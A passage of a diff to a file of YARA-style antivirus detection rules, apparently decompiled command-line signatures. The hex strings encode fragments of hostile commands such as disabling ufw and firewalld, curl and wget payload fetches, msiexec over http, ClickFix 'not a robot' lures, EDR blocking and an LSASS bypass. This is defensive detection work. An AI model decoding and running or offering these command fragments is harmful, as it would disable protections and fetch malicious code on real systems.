& 1)*112+(#a_00_5 & 1)*108+(#a_54_6 & 1)*17996) >=40 } -rule _InfrastructureShared_26130{ +rule _InfrastructureShared_27527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -342025,13 +360329,25 @@ rule _InfrastructureShared_26130{ $a_00_4 = {67 00 67 00 69 00 6e 00 67 00 20 00 6f 00 66 00 66 00 0a 00 2c 00 75 00 66 00 77 00 20 00 70 00 72 00 65 00 70 00 65 00 6e 00 64 00 20 00 64 00 65 00 6e 00 79 00 20 00 66 00 72 00 6f 00 6d 00 20 00 0a 00 24 00 73 00 79 00 73 00 74 00 65 00 6d 00 63 00 74 00 6c 00 20 00 73 00 74 00 6f 00 70 00 20 00 75 00 66 00 77 00 0a 00 2a 00 73 } //108 $a_00_6 = {6d 00 63 00 74 00 6c 00 20 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 20 00 75 00 66 00 77 00 0a 00 24 00 73 00 79 00 73 00 74 00 65 00 6d 00 63 00 74 00 6c 00 20 00 6d 00 61 00 73 00 6b 00 20 00 75 00 66 00 77 00 0a 00 30 00 73 00 79 00 73 00 74 00 65 00 6d 00 63 00 74 00 6c 00 20 00 73 00 74 00 6f } //116 $a_00_8 = {72 00 65 00 77 00 61 00 6c 00 6c 00 64 00 0a 00 36 00 73 00 79 00 73 00 74 00 65 00 6d 00 63 00 74 00 6c 00 20 00 64 00 69 00 73 00 61 00 62 00 6c 00 65 00 20 00 66 00 69 00 72 00 65 00 77 00 61 00 6c 00 6c 00 64 00 0a 00 30 00 73 00 79 00 73 00 74 00 65 00 6d 00 63 00 74 00 6c 00 20 00 6d 00 61 00 73 00 6b 00 20 } //102 - $a_00_10 = {77 00 61 00 6c 00 6c 00 64 00 00 00 d7 87 02 00 28 00 28 00 08 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 68 69 6b 69 74 65 67 61 2e 44 00 05 00 22 00 63 00 75 00 72 00 6c 00 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 64 00 61 00 73 00 68 00 2e 00 05 00 4e 00 2f 00 63 00 } //114 - $a_00_11 = {66 00 69 00 67 00 2e 00 6a 00 73 00 6f 00 6e 00 20 00 2d 00 73 00 20 00 2d 00 6f 00 20 00 2f 00 76 00 61 00 72 00 2f 00 74 00 6d 00 70 00 2f 00 63 00 6f 00 6e 00 66 00 69 00 67 00 2e 00 6a 00 73 00 6f 00 6e 00 05 00 44 00 2f 00 62 00 72 00 69 00 63 00 74 00 2e 00 73 00 68 00 20 00 2d 00 73 00 20 00 2d 00 6f 00 20 00 2f 00 76 00 } //111 + $a_00_10 = {77 00 61 00 6c 00 6c 00 64 00 00 00 d7 44 02 00 0b 00 0b 00 05 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 6c 6f 75 64 70 65 61 73 73 2e 42 00 01 00 08 00 77 00 67 00 65 00 74 00 01 00 08 00 63 00 75 00 72 00 6c 00 0a 00 a6 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 72 } //114 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_00_4 & 1)*108+(#a_00_6 & 1)*116+(#a_00_8 & 1)*102+(#a_00_10 & 1)*114+(#a_00_11 & 1)*111) >=10 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_00_4 & 1)*108+(#a_00_6 & 1)*116+(#a_00_8 & 1)*102+(#a_00_10 & 1)*114) >=10 } -rule _InfrastructureShared_26131{ +rule _InfrastructureShared_27528{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 05 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 6c 6f 75 64 70 65 61 73 73 2e 42 00 01 00 08 00 77 00 67 00 65 00 74 00 01 00 08 00 63 00 75 00 72 00 6c 00 0a 00 a6 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 72 00 61 00 } //21283 + $a_00_1 = {67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 63 00 } //119 githubusercontent.com/c + $a_00_2 = {6c 00 6f 00 73 00 70 00 6f 00 6c 00 6f 00 70 00 2f 00 43 00 6c 00 6f 00 75 00 64 00 50 00 45 00 41 00 53 00 53 00 2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 00 6e 00 2f 00 41 00 57 00 53 00 50 00 45 00 41 00 53 00 2e 00 70 00 79 00 0a 00 a6 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 72 00 } //97 + $a_00_3 = {2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 2f 00 63 00 61 00 72 00 6c 00 6f 00 73 00 70 00 6f 00 6c 00 6f 00 70 00 2f 00 43 00 6c 00 6f 00 75 00 64 00 50 00 45 00 41 00 53 00 53 00 2f 00 72 00 65 00 66 00 73 00 2f 00 68 00 65 00 61 00 64 00 73 00 2f 00 6d 00 61 00 69 } //97 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*119+(#a_00_2 & 1)*97+(#a_00_3 & 1)*97) >=11 + +} +rule _InfrastructureShared_27529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 08 00 21 " @@ -342045,7 +360361,7 @@ rule _InfrastructureShared_26131{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*103+(#a_00_3 & 1)*102+(#a_00_5 & 1)*118+(#a_00_7 & 1)*32) >=40 } -rule _InfrastructureShared_26132{ +rule _InfrastructureShared_27530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0d 00 0d 00 21 00 21 " @@ -342086,7 +360402,7 @@ rule _InfrastructureShared_26132{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_00_5 & 1)*2+(#a_00_6 & 1)*2+(#a_00_7 & 1)*2+(#a_00_8 & 1)*2+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*-80+(#a_00_29 & 1)*-80+(#a_00_30 & 1)*-80+(#a_37_31 & 1)*0) >=13 } -rule _InfrastructureShared_26133{ +rule _InfrastructureShared_27531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 17 00 21 " @@ -342117,7 +360433,7 @@ rule _InfrastructureShared_26133{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_00_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*10+(#a_00_16 & 1)*10+(#a_00_17 & 1)*10+(#a_00_18 & 1)*10+(#a_00_19 & 1)*10+(#a_00_20 & 1)*10+(#a_00_21 & 1)*10+(#a_84_22 & 1)*0) >=11 } -rule _InfrastructureShared_26134{ +rule _InfrastructureShared_27532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffc9 00 ffffffc9 00 2a 00 21 " @@ -342163,7 +360479,7 @@ rule _InfrastructureShared_26134{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*98+(#a_00_3 & 1)*32+(#a_00_5 & 1)*97+(#a_00_7 & 1)*32+(#a_00_9 & 1)*105+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1+(#a_00_16 & 1)*1+(#a_00_17 & 1)*1+(#a_00_18 & 1)*1+(#a_00_19 & 1)*1+(#a_00_20 & 1)*1+(#a_00_21 & 1)*1+(#a_00_22 & 1)*1+(#a_00_23 & 1)*1+(#a_00_24 & 1)*1+(#a_00_25 & 1)*1+(#a_00_26 & 1)*1+(#a_00_27 & 1)*1+(#a_00_28 & 1)*1+(#a_00_29 & 1)*1+(#a_00_30 & 1)*1+(#a_00_31 & 1)*1+(#a_00_32 & 1)*0+(#a_00_34 & 1)*10+(#a_00_35 & 1)*10+(#a_00_36 & 1)*10+(#a_00_37 & 1)*10+(#a_00_38 & 1)*10+(#a_00_39 & 1)*10+(#a_00_40 & 1)*10+(#a_00_41 & 1)*10) >=201 } -rule _InfrastructureShared_26135{ +rule _InfrastructureShared_27533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 3a 00 21 " @@ -342217,29 +360533,48 @@ rule _InfrastructureShared_26135{ $a_00_48 = {2f 00 78 00 69 00 67 00 } //10 /xig $a_00_49 = {2f 00 63 00 72 00 61 00 6e 00 62 00 65 00 72 00 72 00 79 00 } //10 /cranberry $a_00_50 = {2f 00 2e 00 67 00 70 00 67 00 2d 00 61 00 67 00 65 00 6e 00 74 00 } //10 /.gpg-agent - $a_38_51 = {00 00 10 24 00 21 23 42 4d 5f 45 4c 46 53 74 72 69 70 70 65 64 14 ad c2 fc e7 04 c2 04 17 e7 fc 8f 80 ea c3 bc c2 f2 d1 d1 1e 0b f2 e6 e6 80 13 8f 12 ad e6 04 bc ea d1 80 e7 39 00 00 00 1f 16 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 43 6f 69 6e 4d 69 6e 65 72 2e 43 31 a3 c7 0f 93 ec e7 f2 3f da d0 78 05 ac f2 3f ad f2 3f 80 0b fe 05 e7 3d 00 00 00 1e 1b 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4d 61 6c 50 61 63 6b 2e 44 e7 da bc ec 67 6a c7 c7 17 14 e7 fc c2 89 67 82 8f e7 da bc ec e3 93 ad c2 e7 fc e7 3f 00 00 00 26 15 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 43 72 6f 6e 42 69 6e 61 72 79 2e 4d 32 14 ad } //0 - $a_d1_52 = {da 80 0b bc 13 80 05 0b ac 3f 67 bc 1e 18 e7 3f 00 00 00 26 15 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 43 72 6f 6e 42 69 6e 61 72 79 2e 4d 34 14 ad c2 05 0b ac 3f ed f2 1e 18 a3 f2 13 13 80 3f f8 bc 73 80 e7 40 00 00 00 26 16 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 43 72 6f 6e 42 69 6e 61 72 79 2e 4d 31 14 ad c2 e7 bc 0b 3e 80 c7 f2 52 80 05 0b ac 3f 14 f2 3f bc 0b a7 e7 41 00 00 00 1f 1e 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 45 6e 63 72 79 70 74 65 72 2e 41 41 } //-21054 - $a_93_53 = {e7 f2 3f da d0 78 05 0b a7 e6 1e ac 0b e3 67 } //-14429 - $a_0b_54 = {f2 3f 3e d1 fe e3 e7 43 00 00 00 1e 21 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c } //-14569 - $a_78_55 = {4d 61 6c 50 61 63 6b 2e 43 e7 da bc ec 67 6a c7 c7 17 14 e7 fc c2 89 67 82 8f e7 da bc ec 17 f8 0f fc e7 c2 e3 ad d7 c2 e7 fc e7 4b 00 00 00 19 2e 00 21 23 4d 70 48 65 72 6d 65 74 69 63 42 6c 6f 63 6b 46 69 6c 65 54 79 70 65 c0 e7 da bc ec c7 a3 fc d0 1e 36 e7 da bc ec c7 05 67 0f fc d0 1e 36 14 ad c2 c7 a3 c2 04 17 e7 fc 36 14 ad c2 fc e7 04 c2 04 } //28265 - $a_e0_56 = {4d 00 00 00 2a 1f 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 63 69 6f 75 73 44 69 72 4d 6f 75 6e 74 2e 44 4b 35 c7 05 67 0f ec c7 da d1 e6 f2 31 f2 ac da d1 c7 18 80 ea ea c2 73 e4 13 f2 0b c2 31 f2 c3 d1 e7 51 00 00 00 20 2d 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 68 69 6b 69 74 65 67 61 2e 53 48 32 c7 05 67 0f ec c7 18 f2 e4 f2 1e 80 3e bc c2 14 0b f2 31 1e c2 9a 8f c7 05 67 0f ec c7 18 f2 e4 f2 1e 80 3e bc c2 14 0b f2 31 1e c2 74 e7 56 00 00 00 2b 27 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 52 75 6e 43 6d 64 45 78 74 43 66 67 55 70 64 61 74 65 2e 44 4b 38 c7 05 67 0f ec 93 da 3f 05 73 13 fc d0 1e 05 c3 3e 9a 9a 8f c7 05 67 0f ec 93 da 3f 05 73 13 fc d0 1e 05 c3 } //-6377 - $a_e7_57 = {00 00 00 20 35 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 53 68 69 6b 69 74 65 67 61 2e 53 48 31 c7 05 67 0f ec c7 18 f2 e4 f2 1e 80 3e bc c2 67 ac ea f2 1e 0b f2 31 1e c2 9a 8f c7 05 67 0f ec c7 18 f2 e4 f2 1e 80 3e bc c2 67 ac ea f2 1e 0b f2 31 1e c2 74 e7 5d 00 00 00 27 32 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 58 4d 4c } //-26050 + $a_38_51 = {00 00 10 24 00 21 23 42 4d 5f 45 4c 46 53 74 72 69 70 70 65 64 14 ad c2 fc e7 04 c2 04 17 e7 fc 8f 80 ea c3 bc c2 f2 d1 d1 1e 0b f2 e6 e6 80 13 8f 12 ad e6 04 bc ea d1 80 e7 3d 00 00 00 1e 1b 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 4d 61 6c 50 61 63 6b 2e 44 e7 da bc ec 67 6a c7 c7 17 14 e7 fc c2 89 67 82 8f e7 da bc ec e3 93 ad c2 e7 fc e7 3f 00 00 00 26 15 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 43 72 6f 6e 42 69 6e 61 72 79 2e 4d 32 14 ad c2 ad bc d1 91 da 80 0b bc 13 80 05 0b ac 3f 67 bc 1e 18 e7 3f 00 00 00 26 15 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 43 72 6f 6e 42 69 6e 61 72 } //0 + $a_34_52 = {ad c2 05 0b ac 3f ed f2 1e 18 a3 f2 13 13 80 3f f8 bc 73 80 e7 40 00 00 00 26 16 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 43 72 6f 6e 42 69 6e 61 72 79 2e 4d 31 14 ad c2 e7 bc 0b 3e 80 c7 f2 52 } //11897 + $a_ac_53 = {14 f2 3f bc 0b a7 e7 41 00 00 00 } //1408 + $a_3a_55 = {72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 45 6e 63 72 79 70 74 65 72 2e 41 41 a3 c7 0f 93 ec e7 f2 3f da d0 78 05 0b a7 e6 1e ac 0b e3 67 17 c7 1e 0b f2 3f 3e d1 fe e3 e7 43 00 00 00 1e 21 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c } //17748 + $a_6e_56 = {78 2f 4d 61 6c 50 61 63 6b 2e 43 e7 da bc ec 67 6a c7 c7 17 14 e7 fc c2 89 67 82 8f e7 da bc ec 17 f8 0f fc e7 c2 e3 ad d7 c2 e7 fc e7 4b 00 00 00 19 2e 00 21 23 4d 70 48 65 72 6d 65 74 69 63 42 6c 6f 63 6b 46 69 6c 65 54 79 70 65 c0 e7 da bc ec c7 a3 fc d0 1e 36 e7 da bc ec c7 05 67 0f fc d0 1e 36 14 ad c2 c7 a3 } //19514 + $a_e7_57 = {36 14 ad c2 fc e7 04 c2 04 17 e7 fc e0 e7 4d 00 00 00 2a 1f 00 21 23 } //1218 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*109+(#a_00_3 & 1)*107+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_00_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*10+(#a_00_16 & 1)*10+(#a_00_17 & 1)*10+(#a_00_18 & 1)*10+(#a_00_19 & 1)*10+(#a_00_20 & 1)*10+(#a_00_21 & 1)*10+(#a_00_22 & 1)*10+(#a_00_23 & 1)*10+(#a_00_24 & 1)*10+(#a_00_25 & 1)*10+(#a_00_26 & 1)*10+(#a_00_27 & 1)*10+(#a_00_28 & 1)*10+(#a_00_29 & 1)*10+(#a_00_30 & 1)*10+(#a_00_31 & 1)*10+(#a_00_32 & 1)*10+(#a_00_33 & 1)*10+(#a_00_34 & 1)*10+(#a_00_35 & 1)*10+(#a_00_36 & 1)*10+(#a_00_37 & 1)*10+(#a_00_38 & 1)*10+(#a_00_39 & 1)*10+(#a_00_40 & 1)*10+(#a_00_41 & 1)*10+(#a_00_42 & 1)*10+(#a_00_43 & 1)*10+(#a_00_44 & 1)*10+(#a_00_45 & 1)*10+(#a_00_46 & 1)*10+(#a_00_47 & 1)*10+(#a_00_48 & 1)*10+(#a_00_49 & 1)*10+(#a_00_50 & 1)*10+(#a_38_51 & 1)*0+(#a_d1_52 & 1)*-21054+(#a_93_53 & 1)*-14429+(#a_0b_54 & 1)*-14569+(#a_78_55 & 1)*28265+(#a_e0_56 & 1)*-6377+(#a_e7_57 & 1)*-26050) >=10 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*109+(#a_00_3 & 1)*107+(#a_00_5 & 1)*10+(#a_00_6 & 1)*10+(#a_00_7 & 1)*10+(#a_00_8 & 1)*10+(#a_00_9 & 1)*10+(#a_00_10 & 1)*10+(#a_00_11 & 1)*10+(#a_00_12 & 1)*10+(#a_00_13 & 1)*10+(#a_00_14 & 1)*10+(#a_00_15 & 1)*10+(#a_00_16 & 1)*10+(#a_00_17 & 1)*10+(#a_00_18 & 1)*10+(#a_00_19 & 1)*10+(#a_00_20 & 1)*10+(#a_00_21 & 1)*10+(#a_00_22 & 1)*10+(#a_00_23 & 1)*10+(#a_00_24 & 1)*10+(#a_00_25 & 1)*10+(#a_00_26 & 1)*10+(#a_00_27 & 1)*10+(#a_00_28 & 1)*10+(#a_00_29 & 1)*10+(#a_00_30 & 1)*10+(#a_00_31 & 1)*10+(#a_00_32 & 1)*10+(#a_00_33 & 1)*10+(#a_00_34 & 1)*10+(#a_00_35 & 1)*10+(#a_00_36 & 1)*10+(#a_00_37 & 1)*10+(#a_00_38 & 1)*10+(#a_00_39 & 1)*10+(#a_00_40 & 1)*10+(#a_00_41 & 1)*10+(#a_00_42 & 1)*10+(#a_00_43 & 1)*10+(#a_00_44 & 1)*10+(#a_00_45 & 1)*10+(#a_00_46 & 1)*10+(#a_00_47 & 1)*10+(#a_00_48 & 1)*10+(#a_00_49 & 1)*10+(#a_00_50 & 1)*10+(#a_38_51 & 1)*0+(#a_34_52 & 1)*11897+(#a_ac_53 & 1)*1408+(#a_3a_55 & 1)*17748+(#a_6e_56 & 1)*19514+(#a_e7_57 & 1)*1218) >=10 } -rule _InfrastructureShared_26136{ +rule _InfrastructureShared_27534{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 49 6e 6a 75 6b 65 2e 41 21 4d 54 42 00 01 00 0a 00 2d 00 62 00 78 00 6f 00 72 00 00 00 d7 3e 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 66 6f 72 6d 61 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 66 6f 72 6d 61 74 2e 41 21 61 74 74 6b 00 01 00 07 80 01 66 6f 72 6d 61 74 20 01 00 04 80 01 2f 66 73 3a 00 00 d7 42 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //21283 - $a_50_1 = {77 64 65 63 65 6e 2e 41 00 01 00 18 00 61 00 51 00 42 00 6c 00 41 00 48 00 67 00 41 00 4b 00 41 00 41 00 6f 00 00 00 d7 46 00 00 01 00 01 00 } //12851 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 66 6f 72 6d 61 74 2e 41 21 61 74 74 6b 00 01 00 07 80 01 66 6f 72 6d 61 74 20 01 00 04 80 01 2f 66 73 3a 00 00 d7 42 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e } //21283 + $a_43_1 = {69 63 6b 46 69 78 2e 53 54 56 00 01 00 16 00 6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 00 00 d7 42 00 00 01 00 01 00 } //12851 condition: - ((#a_46_0 & 1)*21283+(#a_50_1 & 1)*12851) >=2 + ((#a_46_0 & 1)*21283+(#a_43_1 & 1)*12851) >=2 } -rule _InfrastructureShared_26137{ +rule _InfrastructureShared_27536{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 54 56 00 01 00 16 00 6e 00 6f 00 74 00 20 00 61 00 20 00 72 00 6f 00 62 00 6f 00 74 00 00 00 d7 42 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //21283 + condition: + ((#a_46_0 & 1)*21283) >=1 + +} +rule _InfrastructureShared_27537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342249,7 +360584,7 @@ rule _InfrastructureShared_26137{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26138{ +rule _InfrastructureShared_27538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342259,7 +360594,7 @@ rule _InfrastructureShared_26138{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26139{ +rule _InfrastructureShared_27539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342269,7 +360604,7 @@ rule _InfrastructureShared_26139{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26140{ +rule _InfrastructureShared_27540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342279,17 +360614,28 @@ rule _InfrastructureShared_26140{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26141{ +rule _InfrastructureShared_27541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 45 64 72 62 6c 6f 6b 2e 43 00 01 00 1c 00 2e 00 65 00 78 00 65 00 20 00 62 00 6c 00 6f 00 63 00 6b 00 65 00 64 00 72 00 20 00 00 00 d7 47 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 54 } //21283 + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 45 64 72 62 6c 6f 6b 2e 43 00 01 00 1c 00 2e 00 65 00 78 00 65 00 20 00 62 00 6c 00 6f 00 63 00 6b 00 65 00 64 00 72 00 20 00 00 00 d7 47 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 43 } //21283 condition: ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26142{ +rule _InfrastructureShared_27542{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {43 4c 2e 53 75 73 4d 73 69 65 78 65 63 2e 53 31 00 0a 00 0e 00 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 01 00 06 00 3a 00 2f 00 2f 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 47 00 00 14 00 14 00 02 00 21 23 53 4c 46 3a 54 } //21283 + $a_61_1 = {3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 04 00 d8 3e dd e0 00 00 d7 48 00 00 0a 00 0a 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 73 61 73 73 41 53 52 42 79 70 61 73 73 2e 41 00 0a 00 18 00 77 00 65 } //28530 + condition: + ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*28530) >=11 + +} +rule _InfrastructureShared_27543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -342300,7 +360646,7 @@ rule _InfrastructureShared_26142{ ((#a_46_0 & 1)*21283+(#a_61_1 & 1)*28530) >=20 } -rule _InfrastructureShared_26143{ +rule _InfrastructureShared_27544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -342310,7 +360656,7 @@ rule _InfrastructureShared_26143{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_26144{ +rule _InfrastructureShared_27545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -342320,38 +360666,71 @@ rule _InfrastructureShared_26144{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26145{ +rule _InfrastructureShared_27546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 6b 6c 61 6d 69 2e 44 00 01 00 1c 00 2f 00 63 00 6f 00 6d 00 6d 00 20 00 77 00 65 00 20 00 2f 00 61 00 64 00 70 00 20 00 00 00 d7 4a 00 00 03 00 03 00 } //21539 + $a_4c_0 = {45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 4e 65 6f 72 65 6b 6c 61 6d 69 2e 44 00 01 00 1c 00 2f 00 63 00 6f 00 6d 00 6d 00 20 00 77 00 65 00 20 00 2f 00 61 00 64 00 70 00 20 00 00 00 d7 4a 00 00 02 00 02 00 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26146{ +rule _InfrastructureShared_27547{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 56 21 4d 54 42 00 01 00 0e 00 64 00 69 00 73 00 63 00 6f 00 72 00 64 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 4a 00 00 03 00 03 00 03 00 21 23 54 45 } //21283 + $a_6f_1 = {64 69 63 2e 67 65 6e 21 61 74 74 6b 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 0a 00 3f 00 73 00 69 00 64 00 3d 00 01 00 0e 00 3b 00 63 00 73 00 72 00 66 00 3d 00 3b 00 00 00 d7 4d 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a } //14924 + condition: + ((#a_46_0 & 1)*21283+(#a_6f_1 & 1)*14924) >=2 + +} +rule _InfrastructureShared_27548{ meta: description = 